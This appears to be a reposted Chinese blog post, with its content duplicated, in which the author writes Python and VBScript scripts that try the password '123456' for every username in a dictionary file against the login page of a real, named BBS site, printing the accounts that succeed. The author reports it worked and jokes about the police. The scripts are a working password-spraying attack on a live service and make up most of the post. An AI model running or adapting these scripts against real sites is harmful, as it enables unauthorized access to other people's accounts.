Python牛刀小试密码爆破
程序员文章站
2023-10-17 21:15:44
难道真的要我破解一个么?算了,正好试试我的python水平。 python版 复制代码 代码如下: #coding: gbk import httplib, urllib...
难道真的要我破解一个么?算了,正好试试我的python水平。
python版
#coding: gbk
import httplib, urllib
def check(username, password):
params = urllib.urlencode(
{'userid': username, 'passwd': password})
headers = {"content-type":
"application/x-www-form-urlencoded"}
conn = httplib.httpsconnection("www.bdwm.net")
conn.request("post",
"/bbs/bbslog2.php", params, headers)
res = conn.getresponse().read()
conn.close()
if res.find("密码不正确") != -1:
return false
elif res.find("不存在这个用户") != -1:
return false
else:
return true
for i in open("english.dic"):
if check(i.rstrip(),"123456"):
print i
顺便也写了个vbs版的,感觉貌似vbs比较快,感觉出问题了?
dim fso
set fso = createobject("scripting.filesystemobject")
with fso.opentextfile("english.dic",1)
do until .atendofstream
id = .readline
if check(id,"123456") then
wscript.echo id & vbtab &"ok"
end if
loop
end with
function check(username,password)
dim http
set http = createobject("msxml2.xmlhttp")
http.open _
"post","https://www.bdwm.net/bbs/bbslog2.php",false
http.setrequestheader _
"content-type","application/x-www-form-urlencoded"
http.send "userid=" & username & "&passwd=" & password
response = ansitounicode(http.responsebody)
if instr(response,"密码不正确") then
check = false
elseif instr(response,"不存在这个用户") then
check = false
else
check = true
end if
end function
function ansitounicode(str)
dim ado
set ado = createobject("adodb.stream")
ado.type = 1
ado.open
ado.write str
ado.position = 0
ado.type = 2
ado.charset = "gb2312"
ansitounicode = ado.readtext
end function
事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html
python版
复制代码 代码如下:
#coding: gbk
import httplib, urllib
def check(username, password):
params = urllib.urlencode(
{'userid': username, 'passwd': password})
headers = {"content-type":
"application/x-www-form-urlencoded"}
conn = httplib.httpsconnection("www.bdwm.net")
conn.request("post",
"/bbs/bbslog2.php", params, headers)
res = conn.getresponse().read()
conn.close()
if res.find("密码不正确") != -1:
return false
elif res.find("不存在这个用户") != -1:
return false
else:
return true
for i in open("english.dic"):
if check(i.rstrip(),"123456"):
print i
顺便也写了个vbs版的,感觉貌似vbs比较快,感觉出问题了?
复制代码 代码如下:
dim fso
set fso = createobject("scripting.filesystemobject")
with fso.opentextfile("english.dic",1)
do until .atendofstream
id = .readline
if check(id,"123456") then
wscript.echo id & vbtab &"ok"
end if
loop
end with
function check(username,password)
dim http
set http = createobject("msxml2.xmlhttp")
http.open _
"post","https://www.bdwm.net/bbs/bbslog2.php",false
http.setrequestheader _
"content-type","application/x-www-form-urlencoded"
http.send "userid=" & username & "&passwd=" & password
response = ansitounicode(http.responsebody)
if instr(response,"密码不正确") then
check = false
elseif instr(response,"不存在这个用户") then
check = false
else
check = true
end if
end function
function ansitounicode(str)
dim ado
set ado = createobject("adodb.stream")
ado.type = 1
ado.open
ado.write str
ado.position = 0
ado.type = 2
ado.charset = "gb2312"
ansitounicode = ado.readtext
end function
事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html